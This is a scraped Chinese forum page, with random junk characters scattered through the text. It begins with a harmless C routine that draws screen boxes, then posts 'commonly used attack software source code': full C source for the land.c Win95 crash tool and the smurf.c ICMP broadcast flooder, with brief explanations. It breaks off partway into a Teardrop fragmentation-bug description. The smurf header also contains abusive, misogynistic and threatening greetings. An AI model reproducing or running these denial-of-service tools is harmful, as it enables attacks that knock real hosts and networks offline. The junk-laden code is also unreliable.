9 `( l$ K/ @& Z6 Q  a*/</FONT></P><><FONT color=#009900>main()
% O! R1 U, r$ D{8 y( ~- P. @6 ]. S7 O) {4 v
clrscr();: }4 W3 K. H) W. U/ o
box(1,1,23,79);
# @$ P  D. \- @1 ^1 Q1 ^# tbox(2,2,21,77);  q5 r. [4 o9 o* }
box(3,3,19,75);3 Y$ n" _4 ^5 }% q# \
box(4,4,17,73);5 q/ ]2 D, l# o8 ^) n/ F
box(5,5,15,71);
% P1 k/ z) y$ k, W$ @# E+ c7 M, Cbox(6,6,13,69);
. _# o8 q" m9 h9 tbox(7,7,11,67);& j3 c( L! N* [  }, J
box(8,8,9,65);) N5 G! `' i1 Y& n
box(9,9,7,63);- C* A3 G+ ^  M6 b9 K+ ~7 ^. W& n# ~9 c
box(10,10,5,61);
. B8 @7 n  N' q. _; d0 `6 mbox(11,11,3,59);
/ Y/ f: r3 y$ C9 g3 D- Zbox(12,12,1,57);; O& a+ R1 M" d+ E" N4 O
poscur(24,1);% w! j# n+ ~! Q' k
}</FONT></P><><FONT color=#009900>/************************************************************1 K3 ~) d5 a9 z  V6 _1 |
* BOX *6 [, M" @' b* H
*----------------------------------------------------------*$ o+ I' R3 u+ [, x% a! ]
* Written by: Jeff Ebert 7/01/87 */ l8 h- W; t, f
* Modified by: xxxxxxxxxx *% W& C& u0 P, m8 L5 O( `
* *6 U0 \1 w% ~  a9 `8 c. p
* Please modify me! *
0 B0 R+ m  k  n& N* q* Possible Enhancements include but are not limited t *) a# d* w$ \& D: U! p9 H3 w
* 1) Variable box character styles [1 line or 2] *4 |& s9 e1 [/ I$ \7 F, Y1 [
* 2) Error checking *; j, d/ ~2 s$ E
* 3) Color options *  i' W3 y7 E4 s% k
* *, B, }  e0 o5 X* w  p9 i
* *  ~; Z3 h5 w: x
* This function builds a simple double frame for a menu. *
* E) b0 q; S8 M* The function is passed the parameters for the upper *
5 ?& N2 G2 }  Z, L4 n* left corner row, upper left corner column the height *2 w6 r, {5 s* \9 e
* of the frame and the width. *
7 A3 B5 {1 n6 ?( a* *
; U  [  d, G* b7 {************************************************************/
# O, {; X( m" s! a#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 2016 V9 A5 ^, \( w' O/ d* A* K9 g/ ^% D
#define URCOR 187
+ V6 w+ ?  [* _8 ?. @; ^#define LLCOR 200
* I* h' B+ }3 _4 h7 K6 h#define LRCOR 188& n7 j8 ^  T) D3 {0 A
#define VBAR 186
6 _/ g! i9 y2 g' j) T$ P#define HBAR 205' h/ z6 V$ ~3 j/ H1 u& \
#define ESC 27</FONT></P><><FONT color=#009900>  ^9 V0 p3 v8 @
box(row, col, hgt, wdth)
$ Y5 d* A* ?7 c1 zint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
' v3 I' i/ q; Y  V& q* a# W* Qint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
3 H2 T/ h9 J$ w% f+ _4 iputchar(ULCOR);) {0 n6 m6 d% F
for(x = col + 1; x &lt;=(col + wdth -1); x++)8 \5 s0 T  s1 d0 N, C7 s; {4 M
putchar(HBAR);$ U; J8 C, x( W
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
# |0 x: [5 z8 F' ]8 `1 g. z7 Zposcur(x,col);
, o: @$ G  h) Q# I2 cputchar(VBAR);
! Y7 S* y, y* Y/ oposcur(x,col+wdth);. Y! D( x# q" z$ i
putchar(VBAR);# t# h6 G% Z( X# q; L; Y. @
}
$ R* D( t4 j2 O0 b) |poscur(x,col);
: \1 V. j* O; U! H. i7 y& d' Zputchar(LLCOR);7 n( j1 k' S* B- J+ C
for(x= col + 1; x &lt;=(col + wdth -1); x++)" b1 p4 d! ^: R6 Y# Q8 f
putchar(HBAR);$ C! s5 z: W* M+ F5 f
putchar(LRCOR);; y0 S& D& x# ~9 D2 A
}</FONT></P><><FONT color=#009900>/********************************************************1 N9 ?6 @: k+ \% d
* POSCUR *
; H+ s, x' S) k; n*------------------------------------------------------*
; t2 P0 a# }1 g0 b* This function positions the cursor at the specified *' k" a5 R: O; {! d# t
* x,y coordinate. It uses the ANSI standard ESCAPE *
) g1 S' e6 F# r" ^8 c, @; z4 h* sequence to produce the desired effect. Its not the *
" M! |2 N- [$ N- H1 n* fastest way to position the cursor, but perhaps the *
* q7 X6 I( B9 B% r! Z* most portable. *
- f# h$ ]% F8 ^/ _: }* *
5 @% O. q: q- o6 V. U- P/ T+ v********************************************************/
: q- s% [; v6 R6 X2 Z- m! Gposcur(xcor,ycor)$ q  `2 X# r6 L$ V. f
int xcor,ycor;
# K% I& l* h" J{ ( A' e% u' ]: Y2 \. ]8 p$ D$ M
printf("%c[%d;%dH",ESC,xcor,ycor);! Z0 C1 }& q" b7 P$ I  Y7 \" s
}</FONT></P><><FONT color=#009900>
- V" R! v% \$ q5 [  \7 ^- C3 d/********************************************************
- r$ {. S" a4 m. d2 O* CLRSCR *2 j) b% w/ L: T7 A4 h
*------------------------------------------------------*
4 A& k: U2 {& O, w, n/ U7 ~9 u7 h6 J* This function positions the cursor at the specified *
- y& Q- s! u" t' z) p' l* x,y coordinate. It uses the ANSI standard ESCAPE *& T( @; u5 H/ Y! Y* U" Z6 A
* sequence to produce the desired effect. Its not the *' ~7 ~! w% d% [! e9 q6 a
* fastest way to position the cursor, but perhaps the *, S9 d" c: R) O9 m, s6 _( ?' n! w
* most portable. *2 N3 H- U6 f5 F! {0 B
* *
+ n$ n, e* q! S********************************************************/& Q/ G! I: a( r, ]  }2 O3 Y
clrscr()
' \  u, c# [- p8 T{
$ X  W7 x4 [# g# T' {printf("%c[2J",ESC);+ W- U8 F5 w# s9 |* D$ B
}</FONT>& C- n) S, f' ~5 g, ~
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
- V8 Q7 \7 d: m$ T8 ^9 c这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
1 m/ d: R) V) g/ e己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>6 S3 y' q+ ~1 ?. T1 j$ ]
<FONT color=#009900>/* land.c by m3lt, FLC, x% z# M# G* J- w+ ~# f; ?$ Z
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
! @$ V4 w+ }7 Q/ Z$ ~- M#include <NETDB.H># d  z. A2 g- j7 i5 U" P6 t7 C+ v
#include <ARPA inet.h>' T2 B( f3 C; h/ Z9 M$ @5 u+ ?
#include <NETINET in.h># d$ \: ^$ j+ [/ d" S  Z
#include <SYS types.h>+ S+ b* J* \" C, S4 r) A3 }: ^
#include <SYS socket.h>
' p# v' }! j- W& c#include <NETINET ip.h>
2 @% A1 T; J$ A# a- D#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头& j$ P1 k! ~2 ^4 q, F( R. E
struct pseudohdr
$ n" J6 x) }  r{" J) l3 B  x" b& U# D
struct in_addr saddr;
# C' G  a$ J0 Istruct in_addr daddr;
* a8 Z+ f, H8 `/ j- K0 H5 J# mu_char zero;
% Q) W& H/ k  G8 p) n1 N. b$ a! ^u_char protocol;1 V: H* ]6 H& h8 B
u_short length;) h7 D9 y" i8 D
struct tcphdr tcpheader;
* t* w: b" a) W( w4 Y6 J4 X};</FONT></P><><FONT color=#009900>//计算IP校验和
- |8 A7 B* m# G8 T, F0 Q8 o/ H8 y% a7 Gu_short checksum(u_short * data,u_short length)- k! F. i! j9 ]
{
; p; Q7 ~, m" e1 m; Z" @% g0 a- x4 kregister long value;
$ l4 ]7 h( l. n1 A! iu_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)( s' b! W5 B1 f7 z+ _. ]$ E
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)* {' ^9 W# U/ ?1 H
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);( H# t+ N+ ]0 r: y  r6 b
}</FONT></P><><FONT color=#009900>
0 S& t. G+ {2 |0 q3 j9 wint main(int argc,char * * argv); R- d6 w9 R2 @' h) g4 ^
{
9 {. @+ H3 |/ Q: Kstruct sockaddr_in sin;
- Z6 U7 [' K- l* m% Y, qstruct hostent * hoste;/ S* x5 `, S2 |' \- q  R/ M/ E
int sock;/ _. z5 j9 {; U3 K* f  ^7 m
char buffer[40];
1 f' B( q% i' c* K0 hstruct iphdr * ipheader=(struct iphdr *) buffer;+ d+ ~; h7 W; ~
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
) M6 x8 L% x; @" S' N8 ?4 ~; gstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)5 Z: _& F0 R" w8 f/ Y# |
{
( r5 R9 B* N' @) Ofprintf(stderr,"usage: %s IP port\n",argv[0]);. d  e7 m+ ~; D1 T1 D
return(-1);
- W& z) a* C* s" u9 C}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
/ S9 `4 r" r% B$ k1 C: Jsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)) `: b# d3 p! J. b- x8 i1 |" g, ?
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);) p4 k- C) E5 E7 _
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)5 X' [- r6 n' [
{" M+ r6 e* y+ M$ |: z
fprintf(stderr,"unknown host %s\n",argv[1]);) @  H# [2 _) f- F# X5 ]8 r' c7 N
return(-1);
0 j/ a$ O6 X' Q9 Z0 q6 h}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)+ Q3 f5 \3 k% y( X( |& V$ _3 }5 \
{
2 e9 @7 F, b) D$ j+ V: ~fprintf(stderr,"unknown port %s\n",argv[2]);
- t; M! j3 p3 e6 g& E+ K( f- \1 Wreturn(-1);
6 x# T7 N9 }, l! F4 i}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限+ {& r  R; K* E, J5 Y
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)- ~. U9 w: D" s$ u/ ^7 o2 e
{
0 D0 ~/ e3 H- h5 \, u/ Q. c: q( gfprintf(stderr,"couldn't allocate raw socket\n");% Z8 e+ \+ y' J/ Q: R/ v4 e" C$ d
return(-1);6 u! z7 \  C* }/ {! H% K6 ?
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));% n( u# B# Y; F* y' W& X
ipheader-&gt;version=4;
, x% b% G: j* O" T; V! Pipheader-&gt;ihl=sizeof(struct iphdr)/4;
1 B  i$ I- S/ ripheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));% M, X/ e& T: P6 R& \& A7 `
ipheader-&gt;id=htons(0xF1C);3 }7 I) s6 ?- i) u
ipheader-&gt;ttl=255;
) w3 U7 D- p# O% R. l8 Mipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同( j& p/ u; W- `4 C3 d$ G
ipheader-&gt;saddr=sin.sin_addr.s_addr;6 f) }9 [8 A* R0 G- d5 g8 r
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同" g+ j: B' r9 K0 A# ~8 S& e
tcpheader-&gt;th_sport=sin.sin_port;# Z) l! @! W6 w" x
tcpheader-&gt;th_dport=sin.sin_port;! C  e, c: u/ p! W3 z" [* ?
tcpheader-&gt;th_seq=htonl(0xF1C);
2 h* J; H+ e, `( D( E5 }tcpheader-&gt;th_flags=TH_SYN;2 m, q/ C& N3 X, G( O( g
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
) A7 m8 a* F( Mtcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));& X; r6 @4 {% k4 `& f+ X
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;1 p8 N5 J& e; m, J% k8 J
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;0 j. U7 o5 m6 A5 e$ E
pseudoheader.protocol=6;! `6 P% R9 \2 b, j4 P
pseudoheader.length=htons(sizeof(struct tcphdr));8 T" V7 S: z2 K
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
4 P8 l: j3 |3 v0 _. m% P2 Ltcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
2 L% `# M5 k' ~0 L8 L7 d0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)- `) u0 u9 d, W
{; ^! F" B" g, W( a# n; `
fprintf(stderr,"couldn't send packet\n");
0 \4 |( p+ ^0 @' }return(-1);
1 C+ L/ {4 p& H, w% z' r, M3 q}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);" ^% r! q" j& M% A  ^+ T/ R% ~
return(0);
# X8 }8 M, B0 ~}</FONT></P><>
5 ]2 @8 `' n9 K2 Smurf
4 A1 t2 U' j* ?+ D8 i3 Jsmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数; Y. X9 F$ ]1 S& K( ?) J
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包1 K. ?4 u* I# `- o) |8 g
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些! Q& e2 _  p/ P* t: ]
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢9 m( X* P# H0 M# ]
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变9 e  q8 E3 q# R4 ~% y& C
成不可能(没有WINS服务器时)。</P><P>/*, {, [  C5 l( C( \. A+ g% `
*/ @$ |2 }/ v! t! ^) M
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
% u. [- o8 y  U! w7 }*
  s# I/ L4 Z4 g8 U* spoofs icmp packets from a host to various broadcast addresses resulting: \  r; i% Z  r7 a
* in multiple replies to that host from a single packet.5 n: d; I3 t  E7 R6 S% M0 P
*
3 S6 s. d1 a- B$ ?* mad head t
# M' k$ L) @8 ^  K* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig," Y1 c2 d; z1 J/ G; z8 J/ t- c
* MissSatan for swallowing, napster for pimping my sister, the guy that
( _. ^, C# T% o# e3 N9 P( y* invented vaseline, fyber for trying, knowy, old school #havok, kain
6 E( T; d3 I' ?, T" e3 _7 P* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might: o- m+ p6 R& Q  F- X7 y9 ~/ A
* have missed (you know who you are)./ h3 I" {& Y8 N( B8 H- D" a& d
*
6 t, [) U7 a- V- h* {* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy% R. T6 U' H6 [
* thing he is (he's -almost- as stubborn as me, still i managed to pick up3 H# n5 {& \: X# f
* half the cheque).# y3 t& g& T2 Q4 n
*! t$ f6 ~  Q4 V! R
* and a special hi to Todd, face it dude, you're fucking awesome.% @+ d2 C) [  @; D, w& l0 k
*$ ~% s5 f* ^3 t
* mad anal t
+ T( Y. x2 A7 M" \, y- X" h: W* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps. Q0 a3 O" t' d! h, j( d! I+ t
* because they plain suck, Rolex for being a twit, everyone that- l  @" J+ Z8 P. }# X9 s
* trades warez, Caren for being a lesbian hoe, AcidKill for being her: d' \5 u. r" s
* partner, #cha0s, sedriss for having an ego in inverse proportion to
/ F, i( a6 N' w+ s/ a  J) @/ Y* his penis and anyone that can't pee standing up -- you don't know what# ^; Z; q# w1 g. |
* your missing out on.
: ?2 S: F$ K9 o: O+ [*
1 l% Q; n7 t' W6 Z: _6 ^0 \* and anyone thats ripped my code (diff smurf.c axcast.c is rather
' m$ P4 R/ i* H: ?0 f: e& `2 m* interesting).5 L; \* d6 ~3 F$ ?2 ^
*. u/ |1 w9 d' h8 W1 V0 G( Z
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
# P% q5 C' `, E) B/ |* F* Robbins for trying to steal my girlfriend. Not only did you show me
& t6 b/ Z, v/ M* L* no respect but you're a manipulating prick who tried to take away the
9 D9 \0 F/ G& S* most important thing in the world to me with no guilt whatsoever, and
. U8 q5 Q3 U% T" H: y* for that I wish you nothing but pain. Die.
; C1 f7 D- o( s9 ~9 A7 i9 F! ~: f*
/ P( W8 D- P# D5 ~0 k6 n' d, P* disclaimer:- ~5 c! D$ d" X7 I, p! }$ F+ ?
* I cannot and will not be held responsible nor legally bound for the6 J: C: k! l2 g1 L
* malicious activities of individuals who come into possession of this4 G$ f1 S$ M$ }1 d
* program and I refuse to provide help or support of any kind and do NOT0 C) y1 p. \) o9 W  k. f: Y; q
* condone use of this program to deny service to anyone or any machine.
& u2 C/ G' L- T! I% I, n# P/ H" d  @* This is for educational use only. Please Don't abuse this.- F( }0 u. N, O# z4 L
*2 c. k" N7 D* T% a; w
* Well, i really, really, hate this code, but yet here I am creating another' ?0 x+ C, d8 Z* D( _, y$ u. c: i7 M
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
& X0 p& Y) M2 ^: G* like most programmers don't like seeing bugs in their code. I saw a few
8 d" t( B) Y4 N; r* C6 Y2 i2 j* things that should have been done better or needed fixing so I fixed
. H& |2 e& M# ^( |$ H4 F* them. -shrug-, programming for me as always seemed to take the pain away6 q4 g8 {5 h: G: u5 [* e
* ...( l0 x3 y$ Z" j. [/ J  L4 F
*3 ?; H! y. a: ^  w* v) K$ @
*. @+ ~$ v  C9 b& O
*/</P><P>#include <SIGNAL.H>0 s% Y- f8 R$ i
#include <STDIO.H>
0 [% h% F- K' G, b- K: Q0 r9 B#include <STDLIB.H>
: P. t* N* I1 Y3 [#include <SYS socket.h># U% [8 o5 A  h  {
#include <SYS types.h>
" q7 M( }/ j3 P7 c* V+ H#include <NETINET in.h>8 K. G* A7 G5 ?
#include <NETINET ip.h>4 {$ J# {2 j1 F! O+ y1 {7 _& z! w
#include <NETINET ip_icmp.h>
% Q( c. g/ l  I. U#include <NETDB.H>! i: X9 j9 y) `# Y7 i; F- I/ N- N2 C
#include <CTYPE.H>" N3 E9 M5 l0 M, m! Y
#include <ARPA inet.h>1 C: D$ X5 r3 g& d& a/ n( f( ~
#include <UNISTD.H>
5 M+ Y4 Q8 ?9 E$ r# ]8 Q#include <STRING.H></P><P>void banner(void);
+ r) ?7 X9 E9 L5 W0 ^& l- Mvoid usage(char *);% B( D& n/ Z# w2 |
void smurf(int, struct sockaddr_in, u_long, int);
; I3 }( Z; r! J8 ]. P: O5 B, ovoid ctrlc(int);
' J/ U( k: S- }' a0 zunsigned short in_chksum(u_short *, int);</P><P>/* stamp */+ ~  J6 {2 ]7 P" |+ T: e/ s4 o: g) N
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[]), _$ m9 \  C' O  K% I
{
6 r* {4 }/ g8 kstruct sockaddr_in sin;2 s# [9 B, g' ]6 ]0 n+ i
struct hostent *he;
+ s& q" l" v4 ~# C  l/ |, `+ l! OFILE *bcastfile;
2 L5 Z& n( A' F# _1 {  Zint i, sock, bcast, delay, num, pktsize, cycle = 0, x;# K% z  p8 J+ H' J# E) i5 Y5 g& W
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();! |* e0 c2 t, Y# A# `5 |, ^
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
, M& G/ c3 Q! i" ?' b8 pperror("resolving source host");
" w$ a7 v, `0 o/ c( _6 N: ~6 b# iexit(-1);1 k  P- _3 l) |6 E5 z! P9 e; c
}
7 D. a, Q4 Z% G" B* Omemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
7 @: V0 o4 c" Z3 q8 Osin.sin_family = AF_INET;
- u3 F3 ^: S+ x' ~) }* h) u, dsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);0 u$ ]. v% y+ G. u' M8 Z9 U
delay = atoi(argv[4]);, B6 K/ f$ O3 D
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
/ F- T; @* G9 B+ @& d- Lperror("opening bcast file");
& s* w6 s3 a/ h/ _# n1 i! Pexit(-1);
- U9 R& J) Z. q9 K}' z6 D5 ]( U1 U5 q2 r1 H! E
x = 0;
' D0 C+ \* |7 ?while (!feof(bcastfile)) {( ~  ?* O5 `( K3 @8 a8 N
fgets(buf, 32, bcastfile);
% P5 C; L% b! i1 Aif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
2 O% m( [! R) X- P1 jfor (i = 0; i &lt; strlen(buf); i++)
/ L( t2 W& |  _8 }% ~& v( r( s1 mif (buf == '\n') buf = '\0';
+ v5 V1 n+ n( r! g8 ~# Z$ `4 e! o6 \bcastaddr[x] = malloc(32);
# i0 C$ g# E/ v% e" rstrcpy(bcastaddr[x], buf);7 p% q+ w1 C5 c5 x" h# }
x++;1 R5 n4 I1 s* w1 |7 V$ ]  D
}
8 `9 u% u- W5 M5 B+ M* B9 `) mbcastaddr[x] = 0x0;
* w, T  X2 G; P# L& Ifclose(bcastfile);</P><P>if (x == 0) {
6 o: L6 D8 v- s3 qfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);- q+ ]# l* R  P+ _+ Q
exit(-1);
& m/ e- H. k; V1 E7 h* K- }3 Y, p}+ |' g/ w( k' @$ m% K7 K
if (pktsize &gt; 1024) {
7 c6 [; [. m5 A3 `! j8 ~5 ufprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");% E7 C: _$ ?+ y+ q2 U0 }
exit(-1);
$ k: @: @* ^4 Z8 C3 Z}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
( F, n2 p( Z1 Y2 A/ K) Nperror("getting socket");
/ r2 y2 Z  I" eexit(-1);+ n' x, s+ ~, Y+ t7 w
}
& k  ?, F8 s9 I" wsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
+ Y5 V! n' w2 c1 K' tif (!(i % 25)) { printf("."); fflush(stdout); }
6 M& e2 {& U' ?+ f) M( K3 ksmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);8 Y' \# a4 p" Q5 s; L- E
cycle++;! n: j" O7 a" ]# K( w. S4 J
if (bcastaddr[cycle] == 0x0) cycle = 0;4 S3 |/ d7 ^  F7 T/ H
usleep(delay);
$ e$ {: |1 X6 h; s  }- m: V. d1 ?- S1 F}- a% `* W( r( G+ e
puts("\n\n");
# F% O5 ?% p* G, a0 J- z# X0 ^2 p3 s. oreturn 0;' S( B/ F0 I4 H5 C/ m2 @
}</P><P>void banner (void)
3 D1 h( k! i+ n) B8 E1 {{, p; d- n# u3 K
puts("\nsmurf.c v4.0 by TFreak\n");
" B+ o! d7 M0 K" W& V  y; q& y}</P><P>void usage (char *prog): ^6 V; x% T$ Z7 K- R
{" q( X: W" U+ A" k$ s# e
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
# m: ~) F; b1 B7 `% k. B0 m$ A! w"<NUM packets> <PACKET delay><PACKET size>\n\n"
. g; `0 a! w4 A2 k$ |"target = address to hit\n"
3 m+ b! z( r( m- y! C7 v; U"bcast file = file to read broadcast addresses from\n"- y$ s0 d) K" n& d
"num packets = number of packets to send (0 = flood)\n"+ n+ w) w: Q9 ~" Z2 H; t
"packet delay = wait between each packet (in ms)\n") h: G" H3 p& J4 p2 w
"packet size = size of packet (&lt; 1024)\n\n", prog);
8 ~5 v5 S1 b/ ]exit(-1);8 o7 W# n" E0 [: V5 p0 \3 `, T9 T. ?7 w
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
8 V( k0 q9 b) T$ B" q{
* W+ ?# s" ~8 u3 N5 Astruct iphdr *ip;! \% J7 Z0 W2 [) `8 }' r
struct icmphdr *icmp;
8 r* ^  W& X( i( q; e/ y# Wchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);0 L, ?+ p& ^3 k" ]2 f7 I0 I+ P
ip = (struct iphdr *)packet;
+ F8 W/ C" R* k5 ^" g  U' j- _icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
$ x, R& h$ J5 y4 s* fip-&gt;ihl = 5;
4 r5 o5 t/ ]8 ^' g7 t4 a9 ~ip-&gt;version = 4;. r  x% o3 n+ ^: R! ~
ip-&gt;ttl = 255;  [& [3 Y* o3 {  M2 q+ A
ip-&gt;tos = 0;
8 x& v4 r1 C) u  I4 t: u7 B- \: eip-&gt;frag_off = 0;
' i% n# C3 Z* R! R" p0 \( e. ?# ?ip-&gt;protocol = IPPROTO_ICMP;
! R  n# q2 g4 S; Sip-&gt;saddr = sin.sin_addr.s_addr;
, f; @( C6 K# |! n; W; cip-&gt;daddr = dest;
$ F4 _# g) _, Q4 G$ @: U# nip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
/ `% f2 s+ B& Z/ n. bicmp-&gt;type = 8;
% D1 _+ J/ q) j# W% h, K# W$ eicmp-&gt;code = 0;5 }) n0 K' s, {8 c; \& Y7 B
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
- V( b$ d6 u! e- A' M! G0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */+ \+ y7 k8 b! t  p
}</P><P>void ctrlc (int ignored)
% R  F' y& H0 R" q+ n  K{9 x% ~$ R; R9 p1 @/ Y+ L* z
puts("\nDone!\n");+ g- u/ w$ F  Y& }% w7 I2 \9 x
exit(1);
- L. r, A+ V( p5 u: q; K}</P><P>unsigned short in_chksum (u_short *addr, int len)
4 I# ~! z( D5 k6 l- v4 {{
0 {! M  m- o2 b$ B: pregister int nleft = len;; Z- F3 v2 \2 }2 h
register int sum = 0;3 ?3 m6 f. f/ e# e6 A
u_short answer = 0;</P><P>while (nleft &gt; 1) {
+ p# [3 H; ~( E9 k; I* Isum += *addr++;
- |2 I" b2 g0 znleft -= 2;
8 L; S0 ?) a2 f. B5 }9 D$ T- s! A}</P><P>if (nleft == 1) {
" `& ~! i1 l+ y! Q( f  r+ e  i*(u_char *)(&amp;answer) = *(u_char *)addr;, L4 @, W$ j4 i2 p: u
sum += answer;. f) \- T! y9 t7 i- }. r
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
" v& A) }& k$ ]. [: h! ?sum += (sum &gt;&gt; 16);
, T" T# T( \  Y4 J6 |  Sanswer = ~sum;' @! w+ ^1 |: n: O& R0 S& \" ~% A5 Q
return(answer);
0 r: B) z& h5 S}</P><P>* \1 Q/ B3 T; M, T( I! ^! y
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
0 M7 L  R/ `" m! m3 F( S! ffp = qp-&gt;fragments;+ f4 [' a4 U" N' x. ~" ]# U; T1 D
while(fp != NULL)+ K/ _  P2 T2 j/ @$ p! X( O
{9 S8 P% f- p2 X, M! ]
if(count+fp-&gt;len &gt; skb-&gt;len)/ D+ `; ~/ |. c3 x
{5 J$ A; ~) b5 a
error_to_big;, ?" \& _) [) P
}) @- i# b: U4 e6 i+ M
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
2 k# L' u5 d$ ?( F+ I2 t  M6 P4 vcount += fp-&gt;len;
* K1 W! B: B/ M3 J" @fp = fp-&gt;next;5 y( l6 L6 T8 Q  ^1 y# F
}8 x! F/ s! w% s, o/ i5 E/ @
这里只检查了长度过大的情况,而没有考虑长度过小的情况,/ Z' F0 D* x* ]* U  _0 F  L4 H5 Y
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:2 g( S  Z5 ]4 h) V" f
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)" d0 Q- u6 |# w9 _' N( @# r
是这样处理的:, L0 g5 R- [5 ?6 F
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
2 B6 r" X# n1 \; R; M9 |{
